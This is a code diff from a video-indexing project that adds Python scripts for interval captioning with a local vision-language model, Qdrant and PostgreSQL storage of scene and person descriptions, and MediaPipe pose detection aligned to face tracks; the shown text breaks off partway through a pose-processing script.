@@ -86,6 +86,7 @@ if __name__ == "__main__":
parser.add_argument("output_path")
parser.add_argument("--uuid", "-u", default="")
parser.add_argument("--sample-interval", type=int, default=3)
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
publisher = RedisPublisher(args.uuid) if args.uuid else None
scripts/interval_vlm_caption.py
+303
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@@ -0,0 +1,303 @@
#!/opt/homebrew/bin/python3.11
"""
Interval VLM Caption - Analyze video at regular intervals (10s default)
Extracts frames on-the-fly with ffmpeg (no pre-storage) and analyzes with VLM.
Runs in background, non-blocking.
Usage:
python interval_vlm_caption.py --file-uuid abc123 --video /path/to/video.mp4
python interval_vlm_caption.py --file-uuid abc123 --video /path/to/video.mp4 --interval 10
Output:
{output_dir}/{uuid}_interval_profile.json
"""
import argparse
import base64
import json
import os
import subprocess
import sys
import tempfile
import time
from pathlib import Path
try:
import requests
except ImportError:
print("requests not installed: pip install requests", file=sys.stderr)
sys.exit(1)
def get_video_duration(video_path: str) -> float:
"""Get video duration in seconds using ffprobe."""
cmd = [
"ffprobe", "-v", "quiet",
"-show_entries", "format=duration",
"-of", "json",
video_path
]
result = subprocess.run(cmd, capture_output=True, text=True)
if result.returncode != 0:
return 0.0
data = json.loads(result.stdout)
return float(data["format"]["duration"])
def extract_frame_at_time(video_path: str, timestamp_sec: float, output_path: str) -> bool:
"""Extract a single frame at specific timestamp."""
cmd = [
"ffmpeg", "-y", "-v", "quiet",
"-ss", str(timestamp_sec),
"-i", video_path,
"-vframes", "1",
"-q:v", "2",
output_path
]
result = subprocess.run(cmd, capture_output=True)
return result.returncode == 0
def call_vlm(image_path: str, prompt: str, model: str = "llava:7b", ollama_url: str = "http://localhost:11434") -> str:
"""Call Ollama VLM API."""
with open(image_path, "rb") as f:
image_b64 = base64.b64encode(f.read()).decode("utf-8")
payload = {
"model": model,
"prompt": prompt,
"images": [image_b64],
"stream": False,
"options": {"num_predict": 100}
}
try:
resp = requests.post(f"{ollama_url}/api/generate", json=payload, timeout=30)
resp.raise_for_status()
data = resp.json()
return data.get("response", "").strip()
except Exception as e:
print(f"[vlm] API error: {e}", file=sys.stderr)
return ""
def get_embedding(text: str, model: str = "nomic-embed-text-v2-moe", ollama_url: str = "http://localhost:11434") -> list:
"""Get embedding from Ollama."""
try:
resp = requests.post(
f"{ollama_url}/api/embed",
json={"model": model, "input": text},
timeout=30,
)
resp.raise_for_status()
data = resp.json()
return data.get("embeddings", [[]])[0]
except Exception as e:
print(f"[vlm] Embedding error: {e}", file=sys.stderr)
return []
def store_to_qdrant(analysis: dict, file_uuid: str, interval_index: int, timestamp_sec: float, qdrant_url: str = "http://localhost:6333", qdrant_api_key: str = None) -> bool:
"""Store VLM results to Qdrant _vlm collection."""
description = analysis.get("vlm_description", "")
if not description:
return False
# Get embedding
embedding = get_embedding(description)
if not embedding:
print(f"[vlm] Failed to get embedding for interval_{interval_index}", file=sys.stderr)
return False
# Generate point ID
import hashlib
point_id = int(hashlib.md5(f"{file_uuid}_interval_{interval_index}".encode()).hexdigest()[:16], 16)
# Build payload
payload = {
"type": "interval",
"file_uuid": file_uuid,
"interval_index": interval_index,
"timestamp_sec": timestamp_sec,
**analysis,
}
# Upsert to Qdrant
try:
headers = {}
if qdrant_api_key:
headers["api-key"] = qdrant_api_key
resp = requests.put(
f"{qdrant_url}/collections/_vlm/points?wait=true",
json={
"points": [{
"id": point_id,
"vector": embedding,
"payload": payload,
}]
},
headers=headers,
timeout=30,
)
resp.raise_for_status()
print(f"[vlm] Stored to Qdrant: interval_{interval_index}")
return True
except Exception as e:
print(f"[vlm] Qdrant error: {e}", file=sys.stderr)
return False
def analyze_frame(image_path: str, model: str = "llava:7b") -> dict:
"""Analyze a single frame with VLM - scene/background focus."""
# Prompt 1: Scene description (concise)
desc_prompt = "Describe this scene in one sentence. Focus on: location, main activity, visible objects. If unclear, say 'unclear'. Do not guess."
description = call_vlm(image_path, desc_prompt, model)
# Prompt 2: Classification (JSON)
class_prompt = "Classify the scene. Answer in JSON: {\"location\": \"indoor/outdoor/unknown\", \"setting\": \"office/street/home/nature/studio/unknown\", \"lighting\": \"day/night/indoor-light/mixed/unknown\"}. Use 'unknown' if uncertain."
class_raw = call_vlm(image_path, class_prompt, model)
class_data = {}
try:
class_clean = class_raw.replace("```json", "").replace("```", "").strip()
class_data = json.loads(class_clean)
except:
class_data = {}
# Prompt 3: People count
people_prompt = "How many people? Answer a number or 'unclear'."
people_count = call_vlm(image_path, people_prompt, model).strip()
# Prompt 4: Tags
tags_prompt = "List 3 tags for this scene, comma-separated. Examples: office, street, crowd, nature."
tags_raw = call_vlm(image_path, tags_prompt, model)
tags = [t.strip() for t in tags_raw.replace(",", " ").split() if t.strip()][:3]
return {
"vlm_description": description,
"vlm_location": class_data.get("location", "unknown"),
"vlm_setting": class_data.get("setting", "unknown"),
"vlm_lighting": class_data.get("lighting", "unknown"),
"vlm_people_count": people_count,
"vlm_tags": tags,
}
def analyze_intervals(
file_uuid: str,
video_path: str,
interval_sec: float = 10.0,
output_dir: str = "/Users/accusys/momentry/output",
model: str = "llava:7b",
store_qdrant: bool = True,
) -> dict:
"""
Analyze video at regular intervals.
Returns:
Summary dict with all interval analyses
"""
# Get video duration
duration = get_video_duration(video_path)
if duration <= 0:
print(f"[vlm] Cannot get video duration: {video_path}", file=sys.stderr)
return {"error": "Cannot get duration"}
print(f"[vlm] Video: {duration:.1f}s, interval: {interval_sec}s")
# Calculate timestamps
timestamps = []
t = 0.0
while t < duration:
timestamps.append(t)
t += interval_sec
print(f"[vlm] Total frames to analyze: {len(timestamps)}")
results = []
qdrant_api_key = os.environ.get("QDRANT_API_KEY")
# Create temp directory for frames
with tempfile.TemporaryDirectory() as tmpdir:
for i, ts in enumerate(timestamps):
frame_path = f"{tmpdir}/frame_{i:04d}.jpg"
# Extract frame
success = extract_frame_at_time(video_path, ts, frame_path)
if not success:
print(f"[vlm] Failed to extract frame at {ts:.1f}s", file=sys.stderr)
continue
# Analyze
print(f"[vlm] [{i+1}/{len(timestamps)}] {ts:.1f}s...", end=" ", flush=True)
start_time = time.time()
analysis = analyze_frame(frame_path, model)
# Store to Qdrant
if store_qdrant:
store_to_qdrant(analysis, file_uuid, i, ts, qdrant_api_key=qdrant_api_key)
elapsed = time.time() - start_time
print(f"done ({elapsed:.1f}s)")
results.append({
"interval_index": i,
"timestamp_sec": round(ts, 1),
**analysis,
})
# Save profile
profile = {
"file_uuid": file_uuid,
"video_duration_sec": round(duration, 1),
"interval_sec": interval_sec,
"total_intervals": len(timestamps),
"analyzed": len(results),
"model": model,
"intervals": results,
}
output_path = Path(output_dir)
output_path.mkdir(parents=True, exist_ok=True)
profile_path = output_path / f"{file_uuid}_interval_profile.json"
with open(profile_path, "w") as f:
json.dump(profile, f, indent=2)
print(f"[vlm] Saved: {profile_path}")
return profile
def main():
parser = argparse.ArgumentParser(description="VLM analysis at regular intervals")
parser.add_argument("--file-uuid", "-u", required=True, help="File UUID")
parser.add_argument("--video", "-v", required=True, help="Video file path")
parser.add_argument("--interval", "-i", type=float, default=10.0, help="Interval in seconds (default: 10)")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
parser.add_argument("--model", "-m", default="llava:7b", help="VLM model name")
parser.add_argument("--json", "-j", action="store_true", help="Output as JSON")
args = parser.parse_args()
result = analyze_intervals(
args.file_uuid,
args.video,
args.interval,
args.output_dir,
args.model,
)
if args.json:
print(json.dumps(result, indent=2))
else:
print(f"Analyzed {result.get('analyzed', 0)} intervals")
if __name__ == "__main__":
main()
scripts/load_trace_profiles.py
+257
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#!/usr/bin/env python3
"""
Load trace_profile.json files into PostgreSQL trace_profiles table.
Usage:
python3 scripts/load_trace_profiles.py [--output-dir OUTPUT_DIR] [--dry-run]
"""
import argparse
import json
import os
import sys
from pathlib import Path
import psycopg2
from psycopg2.extras import execute_values
def get_db_connection():
"""Get PostgreSQL connection."""
database_url = os.environ.get(
"DATABASE_URL", "postgresql://accusys@localhost:5432/momentry"
)
return psycopg2.connect(database_url)
def parse_trace_profile(json_path: Path) -> dict | None:
"""Parse trace_profile.json and extract relevant fields."""
try:
with open(json_path, "r", encoding="utf-8") as f:
data = json.load(f)
except Exception as e:
print(f" [ERROR] Failed to read {json_path}: {e}")
return None
# Extract file_uuid and trace_id from path
parts = json_path.parts
file_uuid = None
trace_id = None
for i, part in enumerate(parts):
if part.startswith("trace_"):
trace_id = int(part.replace("trace_", ""))
if i > 0:
file_uuid = parts[i - 1]
break
if not file_uuid or trace_id is None:
print(f" [WARN] Cannot extract file_uuid/trace_id from {json_path}")
return None
return {
"file_uuid": file_uuid,
"trace_id": trace_id,
"name": data.get("label") or data.get("name"),
"start_frame": data.get("start_frame"),
"end_frame": data.get("end_frame"),
"frame_count": data.get("frame_count"),
"key_frame": data.get("key_frame"),
"status": data.get("status", "pending"),
"avg_confidence": data.get("avg_confidence"),
"vlm_description": data.get("vlm_description"),
"vlm_clothing": data.get("vlm_clothing"),
"vlm_tags": data.get("vlm_tags", []),
"vlm_location": data.get("vlm_location"),
"vlm_setting": data.get("vlm_setting"),
"vlm_lighting": data.get("vlm_lighting"),
"vlm_weather": data.get("vlm_weather"),
"vlm_hand_objects": data.get("vlm_hand_objects"),
"vlm_has_plants": data.get("vlm_has_plants"),
"vlm_has_animals": data.get("vlm_has_animals"),
"vlm_background": data.get("vlm_background"),
"vlm_bg_tags": data.get("vlm_bg_tags", []),
"vlm_model": data.get("vlm_model"),
}
def insert_trace_profiles(conn, profiles: list[dict], dry_run: bool = False):
"""Insert trace profiles into PostgreSQL."""
if not profiles:
print("No profiles to insert")
return 0
schema = os.environ.get("DATABASE_SCHEMA", "public")
table = f"{schema}.trace_profiles" if schema != "public" else "trace_profiles"
sql = f"""
INSERT INTO {table} (
file_uuid, trace_id, name, start_frame, end_frame, frame_count,
key_frame, status, avg_confidence,
vlm_description, vlm_clothing, vlm_tags, vlm_location, vlm_setting,
vlm_lighting, vlm_weather, vlm_hand_objects, vlm_has_plants, vlm_has_animals,
vlm_background, vlm_bg_tags, vlm_model
) VALUES %s
ON CONFLICT (file_uuid, trace_id) DO UPDATE SET
name = EXCLUDED.name,
start_frame = EXCLUDED.start_frame,
end_frame = EXCLUDED.end_frame,
frame_count = EXCLUDED.frame_count,
key_frame = EXCLUDED.key_frame,
status = EXCLUDED.status,
avg_confidence = EXCLUDED.avg_confidence,
vlm_description = EXCLUDED.vlm_description,
vlm_clothing = EXCLUDED.vlm_clothing,
vlm_tags = EXCLUDED.vlm_tags,
vlm_location = EXCLUDED.vlm_location,
vlm_setting = EXCLUDED.vlm_setting,
vlm_lighting = EXCLUDED.vlm_lighting,
vlm_weather = EXCLUDED.vlm_weather,
vlm_hand_objects = EXCLUDED.vlm_hand_objects,
vlm_has_plants = EXCLUDED.vlm_has_plants,
vlm_has_animals = EXCLUDED.vlm_has_animals,
vlm_background = EXCLUDED.vlm_background,
vlm_bg_tags = EXCLUDED.vlm_bg_tags,
vlm_model = EXCLUDED.vlm_model,
updated_at = NOW()
"""
if dry_run:
print(f"[DRY-RUN] Would insert {len(profiles)} profiles")
return len(profiles)
cursor = conn.cursor()
# Prepare values
values = [
(
p["file_uuid"],
p["trace_id"],
p["name"],
p["start_frame"],
p["end_frame"],
p["frame_count"],
p["key_frame"],
p["status"],
p["avg_confidence"],
p["vlm_description"],
p["vlm_clothing"],
p["vlm_tags"],
p["vlm_location"],
p["vlm_setting"],
p["vlm_lighting"],
p["vlm_weather"],
p["vlm_hand_objects"],
p["vlm_has_plants"],
p["vlm_has_animals"],
p["vlm_background"],
p["vlm_bg_tags"],
p["vlm_model"],
)
for p in profiles
]
execute_values(cursor, sql, values)
conn.commit()
cursor.close()
return len(profiles)
def main():
parser = argparse.ArgumentParser(description="Load trace profiles into PostgreSQL")
parser.add_argument(
"--output-dir",
default="/Users/accusys/momentry/output",
help="Output directory containing trace_profile.json files",
)
parser.add_argument(
"--dry-run",
action="store_true",
help="Don't actually insert, just show what would be done",
)
parser.add_argument(
"--batch-size",
type=int,
default=100,
help="Batch size for inserts",
)
args = parser.parse_args()
output_dir = Path(args.output_dir)
if not output_dir.exists():
print(f"Error: Output directory {output_dir} does not exist")
sys.exit(1)
# Find all trace_profile.json files
print(f"Scanning {output_dir} for trace_profile.json files...")
trace_profiles = list(output_dir.glob("*/trace_*/trace_profile.json"))
print(f"Found {len(trace_profiles)} trace_profile.json files")
if not trace_profiles:
print("No trace_profile.json files found")
sys.exit(0)
# Parse profiles
print("\nParsing trace profiles...")
profiles = []
for i, json_path in enumerate(trace_profiles):
if (i + 1) % 500 == 0:
print(f" Parsed {i + 1}/{len(trace_profiles)} files...")
profile = parse_trace_profile(json_path)
if profile:
profiles.append(profile)
print(f"Successfully parsed {len(profiles)} profiles")
# Filter profiles with VLM data
vlm_profiles = [
p
for p in profiles
if p.get("vlm_description") or p.get("vlm_clothing") or p.get("vlm_tags")
]
print(f"Profiles with VLM data: {len(vlm_profiles)}")
# Insert into PostgreSQL
if not args.dry_run:
print("\nConnecting to PostgreSQL...")
conn = get_db_connection()
else:
conn = None
print("\n[DRY-RUN] Skipping database connection")
# Insert in batches
batch_size = args.batch_size
total_inserted = 0
for i in range(0, len(profiles), batch_size):
batch = profiles[i : i + batch_size]
if conn:
inserted = insert_trace_profiles(conn, batch, args.dry_run)
total_inserted += inserted
if (i // batch_size + 1) % 10 == 0:
print(
f" Inserted batch {i // batch_size + 1} ({len(batch)} profiles)"
)
else:
total_inserted += len(batch)
if conn:
conn.close()
print(f"\n✅ Done! Inserted {total_inserted} trace profiles")
# Show sample
if vlm_profiles:
print("\nSample VLM profile:")
sample = vlm_profiles[0]
print(f" file_uuid: {sample['file_uuid']}")
print(f" trace_id: {sample['trace_id']}")
print(f" name: {sample['name']}")
print(f" vlm_description: {sample.get('vlm_description', '')[:100]}...")
print(f" vlm_tags: {sample.get('vlm_tags', [])[:5]}")
if __name__ == "__main__":
main()
scripts/mediapipe_pose_aligned.py
+246
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#!/opt/homebrew/bin/python3.11
"""
MediaPipe Pose with Face Frame Alignment
1. Load frames with faces from Apple Vision face_traced.json
2. Run MediaPipe pose only on those frames
3. Filter poses aligned with face bboxes
Usage:
python3 scripts/mediapipe_pose_aligned.py --video /path/to/video.mp4 --file-uuid <uuid> --output-dir /path/to/output
Output:
{uuid}.pose.mediapipe.aligned.json
"""
import argparse
import json
import os
import sys
import time
from pathlib import Path
try:
import cv2
import mediapipe as mp
import numpy as np
from mediapipe.tasks.python.vision import PoseLandmarker, PoseLandmarkerOptions
from mediapipe.tasks.python.core.base_options import BaseOptions
except ImportError as e:
print(f"Missing dependency: {e}", file=sys.stderr)
sys.exit(1)
LANDMARK_NAMES = [
"nose", "left_eye_inner", "left_eye", "left_eye_outer",
"right_eye_inner", "right_eye", "right_eye_outer",
"left_ear", "right_ear", "mouth_left", "mouth_right",
"left_shoulder", "right_shoulder", "left_elbow", "right_elbow",
"left_wrist", "right_wrist", "left_pinky", "right_pinky",
"left_index", "right_index", "left_thumb", "right_thumb",
"left_hip", "right_hip", "left_knee", "right_knee",
"left_ankle", "right_ankle", "left_heel", "right_heel",
"left_foot_index", "right_foot_index",
]
def point_in_bbox(x, y, bbox):
"""Check if point is inside bbox."""
return bbox['x'] <= x <= bbox['x'] + bbox['width'] and bbox['y'] <= y <= bbox['y'] + bbox['height']
def face_keypoints_aligned(keypoints, face_bboxes):
"""Check if nose, left_eye, right_eye all in same face bbox."""
kp_dict = {kp['name']: kp for kp in keypoints}
required = ['nose', 'left_eye', 'right_eye']
if not all(k in kp_dict for k in required):
return False, None
for bbox in face_bboxes:
all_in = all(point_in_bbox(kp_dict[k]['x'], kp_dict[k]['y'], bbox) for k in required)
if all_in:
return True, bbox
return False, None
def process_video(
video_path: str,
face_json_path: str,
output_path: str,
file_uuid: str,
) -> dict:
"""
Process video with MediaPipe pose on frames with faces.
"""
# Load face data
print(f"[pose_aligned] Loading face data: {face_json_path}")
with open(face_json_path) as f:
face_data = json.load(f)
face_frames = face_data.get('frames', {})
print(f"[pose_aligned] Frames with faces: {len(face_frames)}")
# Download model
model_path = os.path.expanduser("~/.mediapipe/models/pose_landmarker_heavy.task")
if not os.path.exists(model_path):
os.makedirs(os.path.dirname(model_path), exist_ok=True)
print(f"[pose_aligned] Downloading model...")
import urllib.request
url = "https://storage.googleapis.com/mediapipe-models/pose_landmarker/pose_landmarker_heavy/float16/1/pose_landmarker_heavy.task"
urllib.request.urlretrieve(url, model_path)
# Initialize pose detector
options = PoseLandmarkerOptions(
base_options=BaseOptions(model_asset_path=model_path),
running_mode=mp.tasks.vision.RunningMode.VIDEO,
)
detector = PoseLandmarker.create_from_options(options)
# Open video
cap = cv2.VideoCapture(video_path)
if not cap.isOpened():
print(f"[pose_aligned] Cannot open video", file=sys.stderr)
return {"error": "Cannot open video"}
fps = cap.get(cv2.CAP_PROP_FPS)
total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
print(f"[pose_aligned] Video: {total_frames} frames, {fps:.2f} fps, {width}x{height}")
frames_data = []
total_poses = 0
aligned_poses = 0
start_time = time.time()
# Process only frames with faces
face_frame_nums = sorted(int(k) for k in face_frames.keys())
for i, frame_num in enumerate(face_frame_nums):
# Seek to frame
cap.set(cv2.CAP_PROP_POS_FRAMES, frame_num)
ret, frame = cap.read()
if not ret:
continue
# Get face bboxes for this frame
face_frame = face_frames[str(frame_num)]
face_bboxes = []
for face in face_frame.get('faces', []):
face_bboxes.append({
'x': face['x'], 'y': face['y'],
'width': face['width'], 'height': face['height']
})
# Detect pose
rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
mp_image = mp.Image(mp.ImageFormat.SRGB, rgb_frame)
results = detector.detect_for_video(mp_image, int(frame_num * 1000 / fps))
if results.pose_landmarks:
persons = []
for pose_landmarks in results.pose_landmarks:
total_poses += 1
# Convert landmarks
keypoints = []
for idx, landmark in enumerate(pose_landmarks):
name = LANDMARK_NAMES[idx] if idx < len(LANDMARK_NAMES) else f"landmark_{idx}"
kp = {
"name": name,
"x": landmark.x * width,
"y": landmark.y * height,
"z": landmark.z if hasattr(landmark, 'z') else 0,
"confidence": landmark.visibility if hasattr(landmark, 'visibility') else 1.0,
}
keypoints.append(kp)
# Check alignment
aligned, matched_bbox = face_keypoints_aligned(keypoints, face_bboxes)
if aligned:
aligned_poses += 1
face_keypoints = [kp for kp in keypoints if kp['name'] in ['nose', 'left_eye', 'right_eye']]
persons.append({
"keypoints": keypoints,
"face_keypoints": face_keypoints,
"matched_face_bbox": matched_bbox,
})
if persons:
frames_data.append({
"frame": frame_num,
"timestamp": frame_num / fps,
"persons": persons,
})
if (i + 1) % 500 == 0:
elapsed = time.time() - start_time
print(f"[pose_aligned] Processed {i+1}/{len(face_frame_nums)} frames, {aligned_poses} aligned poses ({elapsed:.1f}s)")
cap.release()
detector.close()
elapsed = time.time() - start_time
# Build output
output = {
"file_uuid": file_uuid,
"processor": "mediapipe_pose_aligned",
"fps": fps,
"total_frames": total_frames,
"face_frames_processed": len(face_frame_nums),
"total_poses_detected": total_poses,
"aligned_poses": aligned_poses,
"alignment_rate": f"{aligned_poses / total_poses * 100:.1f}%" if total_poses > 0 else "0%",
"frames_with_aligned_pose": len(frames_data),
"elapsed_seconds": round(elapsed, 2),
"frames": frames_data,
}
# Save
with open(output_path, "w") as f:
json.dump(output, f)
print(f"\n[pose_aligned] Saved: {output_path}")
print(f"[pose_aligned] Total poses detected: {total_poses}")
print(f"[pose_aligned] Aligned poses: {aligned_poses} ({output['alignment_rate']})")
print(f"[pose_aligned] Frames with aligned pose: {len(frames_data)}")
print(f"[pose_aligned] Elapsed: {elapsed:.1f}s")
return output
def main():
parser = argparse.ArgumentParser(description="MediaPipe pose aligned with face frames")
parser.add_argument("--video", "-v", required=True, help="Video file path")
parser.add_argument("--file-uuid", "-u", required=True, help="File UUID")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
args = parser.parse_args()
output_path = Path(args.output_dir)
face_json = output_path / f"{args.file_uuid}.face_traced.json"
if not face_json.exists():
print(f"[pose_aligned] Face file not found: {face_json}", file=sys.stderr)
sys.exit(1)
output_file = output_path / f"{args.file_uuid}.pose.mediapipe.aligned.json"
result = process_video(
args.video,
str(face_json),
str(output_file),
args.file_uuid,
)
if __name__ == "__main__":
main()
scripts/mediapipe_pose_processor.py
+219
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#!/opt/homebrew/bin/python3.11
"""
MediaPipe Pose Processor - Using MediaPipe Pose Landmarker
Detects human pose with 33 keypoints, including face landmarks (nose, eyes).
Coordinates are normalized (0-1), converted to pixel coordinates.
Usage:
python3 scripts/mediapipe_pose_processor.py --video /path/to/video.mp4 --file-uuid <uuid> --output-dir /path/to/output
Output:
{uuid}.pose.mediapipe.json
"""
import argparse
import json
import os
import sys
import time
from pathlib import Path
try:
import cv2
import mediapipe as mp
import numpy as np
from mediapipe.tasks.python.vision import PoseLandmarker, PoseLandmarkerOptions
from mediapipe.tasks.python.core.base_options import BaseOptions
except ImportError as e:
print(f"Missing dependency: {e}", file=sys.stderr)
sys.exit(1)
# MediaPipe Pose landmark names (33 keypoints)
LANDMARK_NAMES = [
"nose", "left_eye_inner", "left_eye", "left_eye_outer",
"right_eye_inner", "right_eye", "right_eye_outer",
"left_ear", "right_ear", "mouth_left", "mouth_right",
"left_shoulder", "right_shoulder", "left_elbow", "right_elbow",
"left_wrist", "right_wrist", "left_pinky", "right_pinky",
"left_index", "right_index", "left_thumb", "right_thumb",
"left_hip", "right_hip", "left_knee", "right_knee",
"left_ankle", "right_ankle", "left_heel", "right_heel",
"left_foot_index", "right_foot_index",
]
def process_video(
video_path: str,
output_path: str,
file_uuid: str,
sample_interval: int = 3, # Match Apple Vision default
) -> dict:
"""
Process video with MediaPipe Pose.
Args:
video_path: Path to video file
output_path: Output JSON path
file_uuid: File UUID
sample_interval: Process every N frames
Returns:
Dict with pose data
"""
# Download model if not exists
model_path = os.path.expanduser("~/.mediapipe/models/pose_landmarker_heavy.task")
if not os.path.exists(model_path):
os.makedirs(os.path.dirname(model_path), exist_ok=True)
print(f"[mediapipe_pose] Downloading model...")
import urllib.request
url = "https://storage.googleapis.com/mediapipe-models/pose_landmarker/pose_landmarker_heavy/float16/1/pose_landmarker_heavy.task"
urllib.request.urlretrieve(url, model_path)
print(f"[mediapipe_pose] Model downloaded to {model_path}")
# Initialize Pose Landmarker
options = PoseLandmarkerOptions(
base_options=BaseOptions(model_asset_path=model_path),
running_mode=mp.tasks.vision.RunningMode.VIDEO,
)
detector = PoseLandmarker.create_from_options(options)
# Open video
cap = cv2.VideoCapture(video_path)
if not cap.isOpened():
print(f"[mediapipe_pose] Cannot open video: {video_path}", file=sys.stderr)
return {"error": "Cannot open video"}
fps = cap.get(cv2.CAP_PROP_FPS)
total_frames = int(cap.get(cv2.CAP_PROP_FRAME_COUNT))
width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))
height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))
print(f"[mediapipe_pose] Video: {total_frames} frames, {fps:.2f} fps, {width}x{height}")
print(f"[mediapipe_pose] Processing every {sample_interval} frames...")
frames_data = []
frame_num = 0
processed_count = 0
start_time = time.time()
while True:
ret, frame = cap.read()
if not ret:
break
# Process every N frames
if frame_num % sample_interval == 0:
# Convert BGR to RGB
rgb_frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
# Create MediaPipe Image
mp_image = mp.Image(mp.ImageFormat.SRGB, rgb_frame)
# Detect pose
results = detector.detect_for_video(mp_image, int(frame_num * 1000 / fps))
if results.pose_landmarks:
for pose_landmarks in results.pose_landmarks:
keypoints = []
face_keypoints = []
for idx, landmark in enumerate(pose_landmarks):
name = LANDMARK_NAMES[idx] if idx < len(LANDMARK_NAMES) else f"landmark_{idx}"
kp = {
"name": name,
"x": landmark.x * width,
"y": landmark.y * height,
"z": landmark.z if hasattr(landmark, 'z') else 0,
"confidence": landmark.visibility if hasattr(landmark, 'visibility') else 1.0,
}
keypoints.append(kp)
if name in ["nose", "left_eye", "right_eye"]:
face_keypoints.append(kp)
# Calculate bbox from all keypoints
valid_kps = [kp for kp in keypoints if kp["confidence"] > 0.3]
if valid_kps:
x_coords = [kp["x"] for kp in valid_kps]
y_coords = [kp["y"] for kp in valid_kps]
bbox = {
"x": min(x_coords),
"y": min(y_coords),
"width": max(x_coords) - min(x_coords),
"height": max(y_coords) - min(y_coords),
}
else:
bbox = {"x": 0, "y": 0, "width": 0, "height": 0}
frames_data.append({
"frame": frame_num,
"timestamp": frame_num / fps,
"persons": [{
"keypoints": keypoints,
"bbox": bbox,
"face_keypoints": face_keypoints,
}],
})
processed_count += 1
if processed_count % 100 == 0:
elapsed = time.time() - start_time
print(f"[mediapipe_pose] Processed {processed_count} poses ({elapsed:.1f}s)")
frame_num += 1
cap.release()
detector.close()
elapsed = time.time() - start_time
# Build output
output = {
"file_uuid": file_uuid,
"processor": "mediapipe_pose",
"fps": fps,
"frame_count": total_frames,
"sample_interval": sample_interval,
"total_poses": len(frames_data),
"elapsed_seconds": round(elapsed, 2),
"frames": frames_data,
}
# Save
with open(output_path, "w") as f:
json.dump(output, f)
print(f"[mediapipe_pose] Saved: {output_path}")
print(f"[mediapipe_pose] Total poses: {len(frames_data)}")
print(f"[mediapipe_pose] Elapsed: {elapsed:.1f}s")
return output
def main():
parser = argparse.ArgumentParser(description="MediaPipe Pose Processor")
parser.add_argument("--video", "-v", required=True, help="Video file path")
parser.add_argument("--file-uuid", "-u", required=True, help="File UUID")
parser.add_argument("--output-dir", "-o", default="/Users/accusys/momentry/output", help="Output directory")
parser.add_argument("--sample-interval", "-s", type=int, default=3, help="Process every N frames")
args = parser.parse_args()
output_path = Path(args.output_dir) / f"{args.file_uuid}.pose.mediapipe.json"
result = process_video(
args.video,
str(output_path),
args.file_uuid,
args.sample_interval,
)
if "error" not in result:
print(f"\n[mediapipe_pose] Done. Output: {output_path}")
if __name__ == "__main__":
main()
scripts/ocr_processor.py
+1
View File
@@ -109,6 +109,7 @@ if __name__ == "__main__":
parser.add_argument("--uuid", "-u", default="")
parser.add_argument("--sample-interval", type=int, default=30)
parser.add_argument("--recognition-level", choices=["fast", "accurate"], default="accurate")
parser.add_argument("--frames", type=str, default=None, help=argparse.SUPPRESS)
args = parser.parse_args()
publisher = RedisPublisher(args.uuid) if args.uuid else None
scripts/pose_processor.py
+2
View File
@@ -291,6 +291,8 @@ def _fallback(video_path, output_path, uuid, sample_interval):
frame_count += 1
cap.release()
result = {"frame_count": len(frames), "fps": fps, "frames": frames}
if len(frames) == 0:
result["status"] = "no_face"
with open(output_path, "w") as f:
json.dump(result, f, indent=2)
return result
scripts/pose_processor_v2.py
+195
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@@ -0,0 +1,195 @@
#!/opt/homebrew/bin/python3.11
"""
Pose Expansion Processor V2
Calls swift_pose_expansion which:
1. Reads face_traced.json (from face tracking with trace_id)
2. Expands pose detection from trace frames
3. Stops when 3 consecutive frames have no pose
4. Outputs at 8Hz sampling (floor(fps/8))
Flow:
face_processor.py → face.json
store_traced_faces.py → face_traced.json (with trace_id)
pose_processor.py → pose.json (this script)
appearance_processor.py → appearance.json
"""
import sys
import os
import json
import argparse
import subprocess
import time
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from redis_publisher import RedisPublisher
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
SWIFT_BIN = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "release", "swift_pose_expansion")
SWIFT_BIN_DEBUG = os.path.join(SCRIPT_DIR, "swift_processors", ".build", "debug", "swift_pose_expansion")
OUTPUT_DIR = os.environ.get("MOMENTRY_OUTPUT_DIR", "/Users/accusys/momentry/output")
def process_pose(
video_path: str,
output_path: str,
uuid: str = "",
publisher: RedisPublisher = None,
) -> dict:
"""Process pose expansion from face traces.
Args:
video_path: Path to video file
output_path: Path to output pose.json
uuid: File UUID for logging
publisher: Redis publisher for progress updates
"""
# Check if pose.json already exists
if os.path.exists(output_path):
with open(output_path) as f:
data = json.load(f)
frame_count = len(data.get("frames", []))
print(f"[Pose] Output exists: {output_path} ({frame_count} frames)", file=sys.stderr)
if publisher:
publisher.progress("pose", 100, 100, f"{frame_count} frames (exists)")
return data
# Determine file_uuid from output_path
file_uuid = os.path.basename(output_path).replace(".pose.json", "")
# Find face_traced.json
face_traced_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.face_traced.json")
face_json_path = os.path.join(OUTPUT_DIR, f"{file_uuid}.face.json")
# Prefer face_traced.json (has trace_id), fallback to face.json
input_face_path = None
if os.path.exists(face_traced_path):
input_face_path = face_traced_path
print(f"[Pose] Using face_traced.json: {face_traced_path}", file=sys.stderr)
elif os.path.exists(face_json_path):
# Try to run face tracking to generate face_traced.json
print(f"[Pose] face_traced.json not found, running face tracker...", file=sys.stderr)
try:
tracker_script = os.path.join(SCRIPT_DIR, "store_traced_faces.py")
if os.path.exists(tracker_script):
result = subprocess.run(
["python3", tracker_script, "--file-uuid", file_uuid],
capture_output=True, text=True, timeout=300
)
if result.returncode == 0 and os.path.exists(face_traced_path):
input_face_path = face_traced_path
print(f"[Pose] Face tracing completed: {face_traced_path}", file=sys.stderr)
else:
print(f"[Pose] Face tracing failed, falling back to face.json", file=sys.stderr)
input_face_path = face_json_path
else:
input_face_path = face_json_path
except Exception as e:
print(f"[Pose] Face tracking error: {e}, falling back to face.json", file=sys.stderr)
input_face_path = face_json_path
if input_face_path == face_json_path:
